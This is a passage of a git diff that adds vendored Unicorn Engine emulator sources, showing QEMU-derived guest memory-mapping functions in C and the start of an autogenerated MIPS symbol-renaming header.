[map->virt_addr, map->virt_addr + map->length) and + * [virt_addr, virt_addr + length) have intersection. And the physical address + * in the intersection are the same. + */ +static inline void mapping_merge(MemoryMapping *map, + hwaddr virt_addr, + ram_addr_t length) +{ + if (virt_addr < map->virt_addr) { + map->length += map->virt_addr - virt_addr; + map->virt_addr = virt_addr; + } + + if ((virt_addr + length) > + (map->virt_addr + map->length)) { + map->length = virt_addr + length - map->virt_addr; + } +} + +void memory_mapping_list_add_merge_sorted(MemoryMappingList *list, + hwaddr phys_addr, + hwaddr virt_addr, + ram_addr_t length) +{ + MemoryMapping *memory_mapping, *last_mapping; + + if (QTAILQ_EMPTY(&list->head)) { + create_new_memory_mapping(list, phys_addr, virt_addr, length); + return; + } + + last_mapping = list->last_mapping; + if (last_mapping) { + if (mapping_contiguous(last_mapping, phys_addr, virt_addr)) { + last_mapping->length += length; + return; + } + } + + QTAILQ_FOREACH(memory_mapping, &list->head, next) { + if (mapping_contiguous(memory_mapping, phys_addr, virt_addr)) { + memory_mapping->length += length; + list->last_mapping = memory_mapping; + return; + } + + if (phys_addr + length < memory_mapping->phys_addr) { + /* create a new region before memory_mapping */ + break; + } + + if (mapping_have_same_region(memory_mapping, phys_addr, length)) { + if (mapping_conflict(memory_mapping, phys_addr, virt_addr)) { + continue; + } + + /* merge this region into memory_mapping */ + mapping_merge(memory_mapping, virt_addr, length); + list->last_mapping = memory_mapping; + return; + } + } + + /* this region can not be merged into any existed memory mapping. */ + create_new_memory_mapping(list, phys_addr, virt_addr, length); +} + +void memory_mapping_list_free(MemoryMappingList *list) +{ + MemoryMapping *p, *q; + + QTAILQ_FOREACH_SAFE(p, &list->head, next, q) { + QTAILQ_REMOVE(&list->head, p, next); + g_free(p); + } + + list->num = 0; + list->last_mapping = NULL; +} + +void memory_mapping_list_init(MemoryMappingList *list) +{ + list->num = 0; + list->last_mapping = NULL; + QTAILQ_INIT(&list->head); +} + +void guest_phys_blocks_free(GuestPhysBlockList *list) +{ + GuestPhysBlock *p, *q; + + QTAILQ_FOREACH_SAFE(p, &list->head, next, q) { + QTAILQ_REMOVE(&list->head, p, next); + g_free(p); + } + list->num = 0; +} + +void guest_phys_blocks_init(GuestPhysBlockList *list) +{ + list->num = 0; + QTAILQ_INIT(&list->head); +} + +typedef struct GuestPhysListener { + GuestPhysBlockList *list; + MemoryListener listener; +} GuestPhysListener; + +void qemu_get_guest_memory_mapping(struct uc_struct *uc, + MemoryMappingList *list, + const GuestPhysBlockList *guest_phys_blocks, + Error **errp) +{ + CPUState *cpu = uc->cpu; + GuestPhysBlock *block; + ram_addr_t offset, length; + + if (cpu_paging_enabled(cpu)) { + Error *err = NULL; + cpu_get_memory_mapping(cpu, list, &err); + if (err) { + error_propagate(errp, err); + return; + } + return; + } + + /* + * If the guest doesn't use paging, the virtual address is equal to physical + * address. + */ + QTAILQ_FOREACH(block, &guest_phys_blocks->head, next) { + offset = block->target_start; + length = block->target_end - block->target_start; + create_new_memory_mapping(list, offset, offset, length); + } +} + +void qemu_get_guest_simple_memory_mapping(MemoryMappingList *list, + const GuestPhysBlockList *guest_phys_blocks) +{ + GuestPhysBlock *block; + + QTAILQ_FOREACH(block, &guest_phys_blocks->head, next) { + create_new_memory_mapping(list, block->target_start, 0, + block->target_end - block->target_start); + } +} + +void memory_mapping_filter(MemoryMappingList *list, int64_t begin, + int64_t length) +{ + MemoryMapping *cur, *next; + + QTAILQ_FOREACH_SAFE(cur, &list->head, next, next) { + if (cur->phys_addr >= begin + length || + cur->phys_addr + cur->length <= begin) { + QTAILQ_REMOVE(&list->head, cur, next); + list->num--; + continue; + } + + if (cur->phys_addr < begin) { + cur->length -= begin - cur->phys_addr; + if (cur->virt_addr) { + cur->virt_addr += begin - cur->phys_addr; + } + cur->phys_addr = begin; + } + + if (cur->phys_addr + cur->length > begin + length) { + cur->length -= cur->phys_addr + cur->length - begin - length; + } + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/mips.h b/ai_anti_malware/unicorn/unicorn-master/qemu/mips.h new file mode 100644 index 0000000..36ad9a4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/mips.h @@ -0,0 +1,3928 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_MIPS_H +#define UNICORN_AUTOGEN_MIPS_H +#define arm_release arm_release_mips +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_mips +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_mips +#define use_idiv_instructions_rt use_idiv_instructions_rt_mips +#define tcg_target_deposit_valid tcg_target_deposit_valid_mips +#define helper_power_down helper_power_down_mips +#define check_exit_request check_exit_request_mips +#define address_space_unregister address_space_unregister_mips +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_mips +#define phys_mem_clean phys_mem_clean_mips +#define tb_cleanup tb_cleanup_mips +#define memory_map memory_map_mips +#define memory_map_ptr memory_map_ptr_mips +#define memory_unmap memory_unmap_mips +#define memory_free memory_free_mips +#define free_code_gen_buffer free_code_gen_buffer_mips +#define helper_raise_exception helper_raise_exception_mips +#define tcg_enabled tcg_enabled_mips +#define tcg_exec_init tcg_exec_init_mips +#define memory_register_types memory_register_types_mips +#define cpu_exec_init_all cpu_exec_init_all_mips +#define vm_start vm_start_mips +#define resume_all_vcpus resume_all_vcpus_mips +#define a15_l2ctlr_read a15_l2ctlr_read_mips +#define a64_translate_init a64_translate_init_mips +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_mips +#define aa64_cacheop_access aa64_cacheop_access_mips +#define aa64_daif_access aa64_daif_access_mips +#define aa64_daif_write aa64_daif_write_mips +#define aa64_dczid_read aa64_dczid_read_mips +#define aa64_fpcr_read aa64_fpcr_read_mips +#define aa64_fpcr_write aa64_fpcr_write_mips +#define aa64_fpsr_read aa64_fpsr_read_mips +#define aa64_fpsr_write aa64_fpsr_write_mips +#define aa64_generate_debug_exceptions aa64_generate_debug_exceptions_mips +#define aa64_zva_access aa64_zva_access_mips +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_mips +#define aarch64_restore_sp aarch64_restore_sp_mips +#define aarch64_save_sp aarch64_save_sp_mips +#define accel_find accel_find_mips +#define accel_init_machine accel_init_machine_mips +#define accel_type accel_type_mips +#define access_with_adjusted_size access_with_adjusted_size_mips +#define add128 add128_mips +#define add16_sat add16_sat_mips +#define add16_usat add16_usat_mips +#define add192 add192_mips +#define add8_sat add8_sat_mips +#define add8_usat add8_usat_mips +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_mips +#define add_cpreg_to_list add_cpreg_to_list_mips +#define addFloat128Sigs addFloat128Sigs_mips +#define addFloat32Sigs addFloat32Sigs_mips +#define addFloat64Sigs addFloat64Sigs_mips +#define addFloatx80Sigs addFloatx80Sigs_mips +#define add_qemu_ldst_label add_qemu_ldst_label_mips +#define address_space_access_valid address_space_access_valid_mips +#define address_space_destroy address_space_destroy_mips +#define address_space_destroy_dispatch address_space_destroy_dispatch_mips +#define address_space_get_flatview address_space_get_flatview_mips +#define address_space_init address_space_init_mips +#define address_space_init_dispatch address_space_init_dispatch_mips +#define address_space_lookup_region address_space_lookup_region_mips +#define address_space_map address_space_map_mips +#define address_space_read address_space_read_mips +#define address_space_rw address_space_rw_mips +#define address_space_translate address_space_translate_mips +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_mips +#define address_space_translate_internal address_space_translate_internal_mips +#define address_space_unmap address_space_unmap_mips +#define address_space_update_topology address_space_update_topology_mips +#define address_space_update_topology_pass address_space_update_topology_pass_mips +#define address_space_write address_space_write_mips +#define addrrange_contains addrrange_contains_mips +#define addrrange_end addrrange_end_mips +#define addrrange_equal addrrange_equal_mips +#define addrrange_intersection addrrange_intersection_mips +#define addrrange_intersects addrrange_intersects_mips +#define addrrange_make addrrange_make_mips +#define adjust_endianness adjust_endianness_mips +#define all_helpers all_helpers_mips +#define alloc_code_gen_buffer alloc_code_gen_buffer_mips +#define alloc_entry alloc_entry_mips +#define always_true always_true_mips +#define arm1026_initfn arm1026_initfn_mips +#define arm1136_initfn arm1136_initfn_mips +#define arm1136_r2_initfn arm1136_r2_initfn_mips +#define arm1176_initfn arm1176_initfn_mips +#define arm11mpcore_initfn arm11mpcore_initfn_mips +#define arm926_initfn arm926_initfn_mips +#define arm946_initfn arm946_initfn_mips +#define arm_ccnt_enabled arm_ccnt_enabled_mips +#define arm_cp_read_zero arm_cp_read_zero_mips +#define arm_cp_reset_ignore arm_cp_reset_ignore_mips +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_mips +#define arm_cpu_exec_interrupt arm_cpu_exec_interrupt_mips +#define arm_cpu_finalizefn arm_cpu_finalizefn_mips +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_mips +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_mips +#define arm_cpu_initfn arm_cpu_initfn_mips +#define arm_cpu_list arm_cpu_list_mips +#define cpu_loop_exit cpu_loop_exit_mips +#define arm_cpu_post_init arm_cpu_post_init_mips +#define arm_cpu_realizefn arm_cpu_realizefn_mips +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_mips +#define arm_cpu_register_types arm_cpu_register_types_mips +#define cpu_resume_from_signal cpu_resume_from_signal_mips +#define arm_cpus arm_cpus_mips +#define arm_cpu_set_pc arm_cpu_set_pc_mips +#define arm_cp_write_ignore arm_cp_write_ignore_mips +#define arm_current_el arm_current_el_mips +#define arm_dc_feature arm_dc_feature_mips +#define arm_debug_excp_handler arm_debug_excp_handler_mips +#define arm_debug_target_el arm_debug_target_el_mips +#define arm_el_is_aa64 arm_el_is_aa64_mips +#define arm_env_get_cpu arm_env_get_cpu_mips +#define arm_excp_target_el arm_excp_target_el_mips +#define arm_excp_unmasked arm_excp_unmasked_mips +#define arm_feature arm_feature_mips +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_mips +#define gen_intermediate_code gen_intermediate_code_mips +#define gen_intermediate_code_pc gen_intermediate_code_pc_mips +#define arm_gen_test_cc arm_gen_test_cc_mips +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_mips +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_mips +#define arm_handle_psci_call arm_handle_psci_call_mips +#define arm_is_psci_call arm_is_psci_call_mips +#define arm_is_secure arm_is_secure_mips +#define arm_is_secure_below_el3 arm_is_secure_below_el3_mips +#define arm_ldl_code arm_ldl_code_mips +#define arm_lduw_code arm_lduw_code_mips +#define arm_log_exception arm_log_exception_mips +#define arm_reg_read arm_reg_read_mips +#define arm_reg_reset arm_reg_reset_mips +#define arm_reg_write arm_reg_write_mips +#define restore_state_to_opc restore_state_to_opc_mips +#define arm_rmode_to_sf arm_rmode_to_sf_mips +#define arm_singlestep_active arm_singlestep_active_mips +#define tlb_fill tlb_fill_mips +#define tlb_flush tlb_flush_mips +#define tlb_flush_page tlb_flush_page_mips +#define tlb_set_page tlb_set_page_mips +#define arm_translate_init arm_translate_init_mips +#define arm_v7m_class_init arm_v7m_class_init_mips +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_mips +#define ats_access ats_access_mips +#define ats_write ats_write_mips +#define bad_mode_switch bad_mode_switch_mips +#define bank_number bank_number_mips +#define bitmap_zero_extend bitmap_zero_extend_mips +#define bp_wp_matches bp_wp_matches_mips +#define breakpoint_invalidate breakpoint_invalidate_mips +#define build_page_bitmap build_page_bitmap_mips +#define bus_add_child bus_add_child_mips +#define bus_class_init bus_class_init_mips +#define bus_info bus_info_mips +#define bus_unparent bus_unparent_mips +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_mips +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_mips +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_mips +#define call_recip_estimate call_recip_estimate_mips +#define can_merge can_merge_mips +#define capacity_increase capacity_increase_mips +#define ccsidr_read ccsidr_read_mips +#define check_ap check_ap_mips +#define check_breakpoints check_breakpoints_mips +#define check_watchpoints check_watchpoints_mips +#define cho cho_mips +#define clear_bit clear_bit_mips +#define clz32 clz32_mips +#define clz64 clz64_mips +#define cmp_flatrange_addr cmp_flatrange_addr_mips +#define code_gen_alloc code_gen_alloc_mips +#define commonNaNToFloat128 commonNaNToFloat128_mips +#define commonNaNToFloat16 commonNaNToFloat16_mips +#define commonNaNToFloat32 commonNaNToFloat32_mips +#define commonNaNToFloat64 commonNaNToFloat64_mips +#define commonNaNToFloatx80 commonNaNToFloatx80_mips +#define compute_abs_deadline compute_abs_deadline_mips +#define cond_name cond_name_mips +#define configure_accelerator configure_accelerator_mips +#define container_get container_get_mips +#define container_info container_info_mips +#define container_register_types container_register_types_mips +#define contextidr_write contextidr_write_mips +#define core_log_global_start core_log_global_start_mips +#define core_log_global_stop core_log_global_stop_mips +#define core_memory_listener core_memory_listener_mips +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_mips +#define cortex_a15_initfn cortex_a15_initfn_mips +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_mips +#define cortex_a8_initfn cortex_a8_initfn_mips +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_mips +#define cortex_a9_initfn cortex_a9_initfn_mips +#define cortex_m3_initfn cortex_m3_initfn_mips +#define count_cpreg count_cpreg_mips +#define countLeadingZeros32 countLeadingZeros32_mips +#define countLeadingZeros64 countLeadingZeros64_mips +#define cp_access_ok cp_access_ok_mips +#define cpacr_write cpacr_write_mips +#define cpreg_field_is_64bit cpreg_field_is_64bit_mips +#define cp_reginfo cp_reginfo_mips +#define cpreg_key_compare cpreg_key_compare_mips +#define cpreg_make_keylist cpreg_make_keylist_mips +#define cp_reg_reset cp_reg_reset_mips +#define cpreg_to_kvm_id cpreg_to_kvm_id_mips +#define cpsr_read cpsr_read_mips +#define cpsr_write cpsr_write_mips +#define cptype_valid cptype_valid_mips +#define cpu_abort cpu_abort_mips +#define cpu_arm_exec cpu_arm_exec_mips +#define cpu_arm_gen_code cpu_arm_gen_code_mips +#define cpu_arm_init cpu_arm_init_mips +#define cpu_breakpoint_insert cpu_breakpoint_insert_mips +#define cpu_breakpoint_remove cpu_breakpoint_remove_mips +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_mips +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_mips +#define cpu_can_do_io cpu_can_do_io_mips +#define cpu_can_run cpu_can_run_mips +#define cpu_class_init cpu_class_init_mips +#define cpu_common_class_by_name cpu_common_class_by_name_mips +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_mips +#define cpu_common_get_arch_id cpu_common_get_arch_id_mips +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_mips +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_mips +#define cpu_common_has_work cpu_common_has_work_mips +#define cpu_common_initfn cpu_common_initfn_mips +#define cpu_common_noop cpu_common_noop_mips +#define cpu_common_parse_features cpu_common_parse_features_mips +#define cpu_common_realizefn cpu_common_realizefn_mips +#define cpu_common_reset cpu_common_reset_mips +#define cpu_dump_statistics cpu_dump_statistics_mips +#define cpu_exec_init cpu_exec_init_mips +#define cpu_flush_icache_range cpu_flush_icache_range_mips +#define cpu_gen_init cpu_gen_init_mips +#define cpu_get_clock cpu_get_clock_mips +#define cpu_get_real_ticks cpu_get_real_ticks_mips +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_mips +#define cpu_handle_debug_exception cpu_handle_debug_exception_mips +#define cpu_handle_guest_debug cpu_handle_guest_debug_mips +#define cpu_inb cpu_inb_mips +#define cpu_inl cpu_inl_mips +#define cpu_interrupt cpu_interrupt_mips +#define cpu_interrupt_handler cpu_interrupt_handler_mips +#define cpu_inw cpu_inw_mips +#define cpu_io_recompile cpu_io_recompile_mips +#define cpu_is_stopped cpu_is_stopped_mips +#define cpu_ldl_code cpu_ldl_code_mips +#define cpu_ldub_code cpu_ldub_code_mips +#define cpu_lduw_code cpu_lduw_code_mips +#define cpu_memory_rw_debug cpu_memory_rw_debug_mips +#define cpu_mmu_index cpu_mmu_index_mips +#define cpu_outb cpu_outb_mips +#define cpu_outl cpu_outl_mips +#define cpu_outw cpu_outw_mips +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_mips +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_mips +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_mips +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_mips +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_mips +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_mips +#define cpu_physical_memory_map cpu_physical_memory_map_mips +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_mips +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_mips +#define cpu_physical_memory_rw cpu_physical_memory_rw_mips +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_mips +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_mips +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_mips +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_mips +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_mips +#define cpu_register cpu_register_mips +#define cpu_register_types cpu_register_types_mips +#define cpu_restore_state cpu_restore_state_mips +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_mips +#define cpu_single_step cpu_single_step_mips +#define cpu_tb_exec cpu_tb_exec_mips +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_mips +#define cpu_to_be64 cpu_to_be64_mips +#define cpu_to_le32 cpu_to_le32_mips +#define cpu_to_le64 cpu_to_le64_mips +#define cpu_type_info cpu_type_info_mips +#define cpu_unassigned_access cpu_unassigned_access_mips +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_mips +#define cpu_watchpoint_insert cpu_watchpoint_insert_mips +#define cpu_watchpoint_remove cpu_watchpoint_remove_mips +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_mips +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_mips +#define crc32c_table crc32c_table_mips +#define create_new_memory_mapping create_new_memory_mapping_mips +#define csselr_write csselr_write_mips +#define cto32 cto32_mips +#define ctr_el0_access ctr_el0_access_mips +#define ctz32 ctz32_mips +#define ctz64 ctz64_mips +#define dacr_write dacr_write_mips +#define dbgbcr_write dbgbcr_write_mips +#define dbgbvr_write dbgbvr_write_mips +#define dbgwcr_write dbgwcr_write_mips +#define dbgwvr_write dbgwvr_write_mips +#define debug_cp_reginfo debug_cp_reginfo_mips +#define debug_frame debug_frame_mips +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_mips +#define define_arm_cp_regs define_arm_cp_regs_mips +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_mips +#define define_debug_regs define_debug_regs_mips +#define define_one_arm_cp_reg define_one_arm_cp_reg_mips +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_mips +#define deposit32 deposit32_mips +#define deposit64 deposit64_mips +#define deregister_tm_clones deregister_tm_clones_mips +#define device_class_base_init device_class_base_init_mips +#define device_class_init device_class_init_mips +#define device_finalize device_finalize_mips +#define device_get_realized device_get_realized_mips +#define device_initfn device_initfn_mips +#define device_post_init device_post_init_mips +#define device_reset device_reset_mips +#define device_set_realized device_set_realized_mips +#define device_type_info device_type_info_mips +#define disas_arm_insn disas_arm_insn_mips +#define disas_coproc_insn disas_coproc_insn_mips +#define disas_dsp_insn disas_dsp_insn_mips +#define disas_iwmmxt_insn disas_iwmmxt_insn_mips +#define disas_neon_data_insn disas_neon_data_insn_mips +#define disas_neon_ls_insn disas_neon_ls_insn_mips +#define disas_thumb2_insn disas_thumb2_insn_mips +#define disas_thumb_insn disas_thumb_insn_mips +#define disas_vfp_insn disas_vfp_insn_mips +#define disas_vfp_v8_insn disas_vfp_v8_insn_mips +#define do_arm_semihosting do_arm_semihosting_mips +#define do_clz16 do_clz16_mips +#define do_clz8 do_clz8_mips +#define do_constant_folding do_constant_folding_mips +#define do_constant_folding_2 do_constant_folding_2_mips +#define do_constant_folding_cond do_constant_folding_cond_mips +#define do_constant_folding_cond2 do_constant_folding_cond2_mips +#define do_constant_folding_cond_32 do_constant_folding_cond_32_mips +#define do_constant_folding_cond_64 do_constant_folding_cond_64_mips +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_mips +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_mips +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_mips +#define do_ssat do_ssat_mips +#define do_usad do_usad_mips +#define do_usat do_usat_mips +#define do_v7m_exception_exit do_v7m_exception_exit_mips +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_mips +#define dummy_func dummy_func_mips +#define dummy_section dummy_section_mips +#define _DYNAMIC _DYNAMIC_mips +#define _edata _edata_mips +#define _end _end_mips +#define end_list end_list_mips +#define eq128 eq128_mips +#define ErrorClass_lookup ErrorClass_lookup_mips +#define error_copy error_copy_mips +#define error_exit error_exit_mips +#define error_get_class error_get_class_mips +#define error_get_pretty error_get_pretty_mips +#define error_setg_file_open error_setg_file_open_mips +#define estimateDiv128To64 estimateDiv128To64_mips +#define estimateSqrt32 estimateSqrt32_mips +#define excnames excnames_mips +#define excp_is_internal excp_is_internal_mips +#define extended_addresses_enabled extended_addresses_enabled_mips +#define extended_mpu_ap_bits extended_mpu_ap_bits_mips +#define extract32 extract32_mips +#define extract64 extract64_mips +#define extractFloat128Exp extractFloat128Exp_mips +#define extractFloat128Frac0 extractFloat128Frac0_mips +#define extractFloat128Frac1 extractFloat128Frac1_mips +#define extractFloat128Sign extractFloat128Sign_mips +#define extractFloat16Exp extractFloat16Exp_mips +#define extractFloat16Frac extractFloat16Frac_mips +#define extractFloat16Sign extractFloat16Sign_mips +#define extractFloat32Exp extractFloat32Exp_mips +#define extractFloat32Frac extractFloat32Frac_mips +#define extractFloat32Sign extractFloat32Sign_mips +#define extractFloat64Exp extractFloat64Exp_mips +#define extractFloat64Frac extractFloat64Frac_mips +#define extractFloat64Sign extractFloat64Sign_mips +#define extractFloatx80Exp extractFloatx80Exp_mips +#define extractFloatx80Frac extractFloatx80Frac_mips +#define extractFloatx80Sign extractFloatx80Sign_mips +#define fcse_write fcse_write_mips +#define find_better_copy find_better_copy_mips +#define find_default_machine find_default_machine_mips +#define find_desc_by_name find_desc_by_name_mips +#define find_first_bit find_first_bit_mips +#define find_paging_enabled_cpu find_paging_enabled_cpu_mips +#define find_ram_block find_ram_block_mips +#define find_ram_offset find_ram_offset_mips +#define find_string find_string_mips +#define find_type find_type_mips +#define _fini _fini_mips +#define flatrange_equal flatrange_equal_mips +#define flatview_destroy flatview_destroy_mips +#define flatview_init flatview_init_mips +#define flatview_insert flatview_insert_mips +#define flatview_lookup flatview_lookup_mips +#define flatview_ref flatview_ref_mips +#define flatview_simplify flatview_simplify_mips +#define flatview_unref flatview_unref_mips +#define float128_add float128_add_mips +#define float128_compare float128_compare_mips +#define float128_compare_internal float128_compare_internal_mips +#define float128_compare_quiet float128_compare_quiet_mips +#define float128_default_nan float128_default_nan_mips +#define float128_div float128_div_mips +#define float128_eq float128_eq_mips +#define float128_eq_quiet float128_eq_quiet_mips +#define float128_is_quiet_nan float128_is_quiet_nan_mips +#define float128_is_signaling_nan float128_is_signaling_nan_mips +#define float128_le float128_le_mips +#define float128_le_quiet float128_le_quiet_mips +#define float128_lt float128_lt_mips +#define float128_lt_quiet float128_lt_quiet_mips +#define float128_maybe_silence_nan float128_maybe_silence_nan_mips +#define float128_mul float128_mul_mips +#define float128_rem float128_rem_mips +#define float128_round_to_int float128_round_to_int_mips +#define float128_scalbn float128_scalbn_mips +#define float128_sqrt float128_sqrt_mips +#define float128_sub float128_sub_mips +#define float128ToCommonNaN float128ToCommonNaN_mips +#define float128_to_float32 float128_to_float32_mips +#define float128_to_float64 float128_to_float64_mips +#define float128_to_floatx80 float128_to_floatx80_mips +#define float128_to_int32 float128_to_int32_mips +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_mips +#define float128_to_int64 float128_to_int64_mips +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_mips +#define float128_unordered float128_unordered_mips +#define float128_unordered_quiet float128_unordered_quiet_mips +#define float16_default_nan float16_default_nan_mips +#define float16_is_quiet_nan float16_is_quiet_nan_mips +#define float16_is_signaling_nan float16_is_signaling_nan_mips +#define float16_maybe_silence_nan float16_maybe_silence_nan_mips +#define float16ToCommonNaN float16ToCommonNaN_mips +#define float16_to_float32 float16_to_float32_mips +#define float16_to_float64 float16_to_float64_mips +#define float32_abs float32_abs_mips +#define float32_add float32_add_mips +#define float32_chs float32_chs_mips +#define float32_compare float32_compare_mips +#define float32_compare_internal float32_compare_internal_mips +#define float32_compare_quiet float32_compare_quiet_mips +#define float32_default_nan float32_default_nan_mips +#define float32_div float32_div_mips +#define float32_eq float32_eq_mips +#define float32_eq_quiet float32_eq_quiet_mips +#define float32_exp2 float32_exp2_mips +#define float32_exp2_coefficients float32_exp2_coefficients_mips +#define float32_is_any_nan float32_is_any_nan_mips +#define float32_is_infinity float32_is_infinity_mips +#define float32_is_neg float32_is_neg_mips +#define float32_is_quiet_nan float32_is_quiet_nan_mips +#define float32_is_signaling_nan float32_is_signaling_nan_mips +#define float32_is_zero float32_is_zero_mips +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_mips +#define float32_le float32_le_mips +#define float32_le_quiet float32_le_quiet_mips +#define float32_log2 float32_log2_mips +#define float32_lt float32_lt_mips +#define float32_lt_quiet float32_lt_quiet_mips +#define float32_max float32_max_mips +#define float32_maxnum float32_maxnum_mips +#define float32_maxnummag float32_maxnummag_mips +#define float32_maybe_silence_nan float32_maybe_silence_nan_mips +#define float32_min float32_min_mips +#define float32_minmax float32_minmax_mips +#define float32_minnum float32_minnum_mips +#define float32_minnummag float32_minnummag_mips +#define float32_mul float32_mul_mips +#define float32_muladd float32_muladd_mips +#define float32_rem float32_rem_mips +#define float32_round_to_int float32_round_to_int_mips +#define float32_scalbn float32_scalbn_mips +#define float32_set_sign float32_set_sign_mips +#define float32_sqrt float32_sqrt_mips +#define float32_squash_input_denormal float32_squash_input_denormal_mips +#define float32_sub float32_sub_mips +#define float32ToCommonNaN float32ToCommonNaN_mips +#define float32_to_float128 float32_to_float128_mips +#define float32_to_float16 float32_to_float16_mips +#define float32_to_float64 float32_to_float64_mips +#define float32_to_floatx80 float32_to_floatx80_mips +#define float32_to_int16 float32_to_int16_mips +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_mips +#define float32_to_int32 float32_to_int32_mips +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_mips +#define float32_to_int64 float32_to_int64_mips +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_mips +#define float32_to_uint16 float32_to_uint16_mips +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_mips +#define float32_to_uint32 float32_to_uint32_mips +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_mips +#define float32_to_uint64 float32_to_uint64_mips +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_mips +#define float32_unordered float32_unordered_mips +#define float32_unordered_quiet float32_unordered_quiet_mips +#define float64_abs float64_abs_mips +#define float64_add float64_add_mips +#define float64_chs float64_chs_mips +#define float64_compare float64_compare_mips +#define float64_compare_internal float64_compare_internal_mips +#define float64_compare_quiet float64_compare_quiet_mips +#define float64_default_nan float64_default_nan_mips +#define float64_div float64_div_mips +#define float64_eq float64_eq_mips +#define float64_eq_quiet float64_eq_quiet_mips +#define float64_is_any_nan float64_is_any_nan_mips +#define float64_is_infinity float64_is_infinity_mips +#define float64_is_neg float64_is_neg_mips +#define float64_is_quiet_nan float64_is_quiet_nan_mips +#define float64_is_signaling_nan float64_is_signaling_nan_mips +#define float64_is_zero float64_is_zero_mips +#define float64_le float64_le_mips +#define float64_le_quiet float64_le_quiet_mips +#define float64_log2 float64_log2_mips +#define float64_lt float64_lt_mips +#define float64_lt_quiet float64_lt_quiet_mips +#define float64_max float64_max_mips +#define float64_maxnum float64_maxnum_mips +#define float64_maxnummag float64_maxnummag_mips +#define float64_maybe_silence_nan float64_maybe_silence_nan_mips +#define float64_min float64_min_mips +#define float64_minmax float64_minmax_mips +#define float64_minnum float64_minnum_mips +#define float64_minnummag float64_minnummag_mips +#define float64_mul float64_mul_mips +#define float64_muladd float64_muladd_mips +#define float64_rem float64_rem_mips +#define float64_round_to_int float64_round_to_int_mips +#define float64_scalbn float64_scalbn_mips +#define float64_set_sign float64_set_sign_mips +#define float64_sqrt float64_sqrt_mips +#define float64_squash_input_denormal float64_squash_input_denormal_mips +#define float64_sub float64_sub_mips +#define float64ToCommonNaN float64ToCommonNaN_mips +#define float64_to_float128 float64_to_float128_mips +#define float64_to_float16 float64_to_float16_mips +#define float64_to_float32 float64_to_float32_mips +#define float64_to_floatx80 float64_to_floatx80_mips +#define float64_to_int16 float64_to_int16_mips +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_mips +#define float64_to_int32 float64_to_int32_mips +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_mips +#define float64_to_int64 float64_to_int64_mips +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_mips +#define float64_to_uint16 float64_to_uint16_mips +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_mips +#define float64_to_uint32 float64_to_uint32_mips +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_mips +#define float64_to_uint64 